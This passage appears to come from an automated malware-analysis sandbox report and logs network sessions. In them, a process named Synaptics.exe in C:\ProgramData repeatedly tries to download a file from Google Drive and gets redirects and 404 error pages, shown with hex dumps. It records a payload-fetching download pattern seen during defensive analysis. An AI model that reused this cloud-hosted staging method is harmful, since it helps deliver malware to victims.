nonce="xsZE-1rm1SlwZimHFaXflQ">*{margin:0;padding:0}html,code{font:15px/22px arial
2025-01-02 19:28:16 UTC	58	IN	Data Raw: 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: nd on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49738	142.250.185.65	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:15 UTC	186	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2025-01-02 19:28:16 UTC	1602	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC7XiRH0jQxjyWKsEPbkC0OQOV9XBjzhvj-mVUtWFVPZhH1sMmp9YKgLKvaSdVpiGQ4M86qhf0k Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:16 GMT P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Security-Policy: script-src 'report-sample' 'nonce-Xj5JQQM63EcqW5oF60LVhg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Set-Cookie: NID=520=Ehq656cURaR2Q6Kk6m_ep4IrA5YOYJ83exUyTXOed8P1J20DPKj0B2-7j-1WwI1Z6gqr125Z2p2LY-gNVoaae_Xq6UjegIIraZKQ2d_70YSZ7rMLSf3s_kf8DW7iqMesdOc_xBZlfGi_8mKZgFsG7HdEaRaEoaL4QzqEpXEMQ0Iauw6EXNRDBMpS; expires=Fri, 04-Jul-2025 19:28:16 GMT; path=/; domain=.google.com; HttpOnly Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:28:16 UTC	1602	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 6d 5f 46 6c 43 6f 34 39 44 70 4a 4e 31 47 68 71 56 7a 39 43 63 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="m_FlCo49DpJN1GhqVz9CcQ">*{margin:0;padding:0}html,code{font:15px/22px arial
2025-01-02 19:28:16 UTC	50	IN	Data Raw: 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: is server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49739	142.250.185.78	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:15 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2025-01-02 19:28:16 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:16 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-W0yqVOWM48NCrrATDWP5LA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49747	142.250.185.78	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:16 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2025-01-02 19:28:17 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:16 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-Bgkjyzp0p8FSO_BndJq-SQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49748	142.250.185.78	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:16 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2025-01-02 19:28:17 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:17 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-K9A1_q2JdFwv1N7YJWDnug' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49751	142.250.185.65	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:17 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=HZAU1e_6zD1Tbvh2IrBgA-dj-MiKcypl2SZc0T0_IXcvLUKbbfDhrJt58FvFgGgjCVwb4NUkUxuAa4cEVCBs1n6rVz4utIPxA_t6ucoTwll7r5mMtwCeaguFKVKoDqjfKS6r0YP-L2NJTK7qP8Xg_hf7LPbOhKiobzWCvQ5GX7EfE7pgZkxXI0I
2025-01-02 19:28:17 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC5ajwDs_vBvBcQLq5ikoV21m-geWtUOfaIERktDr_466d2ce-Dm_1YfnwDIG5dsWEv1NJC-p1g Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:17 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-lQcUDkOm7LTdYbp0VahQ2Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:28:17 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2025-01-02 19:28:17 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 4b 6f 4f 49 4c 4c 78 30 54 62 47 70 6c 53 54 79 71 4c 67 6f 65 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="KoOILLx0TbGplSTyqLgoeQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2025-01-02 19:28:17 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49749	142.250.185.65	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:17 UTC	186	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2025-01-02 19:28:17 UTC	1594	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC5mDyB6I-5S9zOPIi4NPo0ZY-4wEF2ipTGee8N8QedMcwTQ2ScxNwhmv9o7NE8WisxF Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:17 GMT P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-NzYJ0h5BL14-eFytm2NowA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Set-Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw; expires=Fri, 04-Jul-2025 19:28:17 GMT; path=/; domain=.google.com; HttpOnly Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:28:17 UTC	1594	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 78 6e 6c 5f 5f 41 42 6a 53 5a 30 46 44 5f 5a 45 70 46 4f 4b 72 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="xnl__ABjSZ0FD_ZEpFOKrw">*{margin:0;padding:0}html,code{font:15px/22px arial
2025-01-02 19:28:17 UTC	58	IN	Data Raw: 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: nd on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	49759	142.250.185.78	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:17 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2025-01-02 19:28:18 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:18 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-zSmjnuqN7dgSBPa54lrayw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	49765	142.250.185.78	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:18 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2025-01-02 19:28:18 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:18 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-gPG9J6Mz7vvcUTNjriETYA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	49767	142.250.185.65	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:18 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=Ehq656cURaR2Q6Kk6m_ep4IrA5YOYJ83exUyTXOed8P1J20DPKj0B2-7j-1WwI1Z6gqr125Z2p2LY-gNVoaae_Xq6UjegIIraZKQ2d_70YSZ7rMLSf3s_kf8DW7iqMesdOc_xBZlfGi_8mKZgFsG7HdEaRaEoaL4QzqEpXEMQ0Iauw6EXNRDBMpS
2025-01-02 19:28:18 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC5TOaQ01H2aiA75B16WkvuFA1sv0Udd7kR3iYANk92SA0Lx4Rc-Ham2hg7SQItWGP7alMCnkY4 Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:18 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-tlmBqoG6eH926Nq-YoBDbg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:28:18 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2025-01-02 19:28:18 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 4a 73 4e 71 47 41 73 6e 6a 58 6a 74 2d 6f 45 47 74 56 67 49 59 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="JsNqGAsnjXjt-oEGtVgIYQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2025-01-02 19:28:18 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	49769	142.250.185.65	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
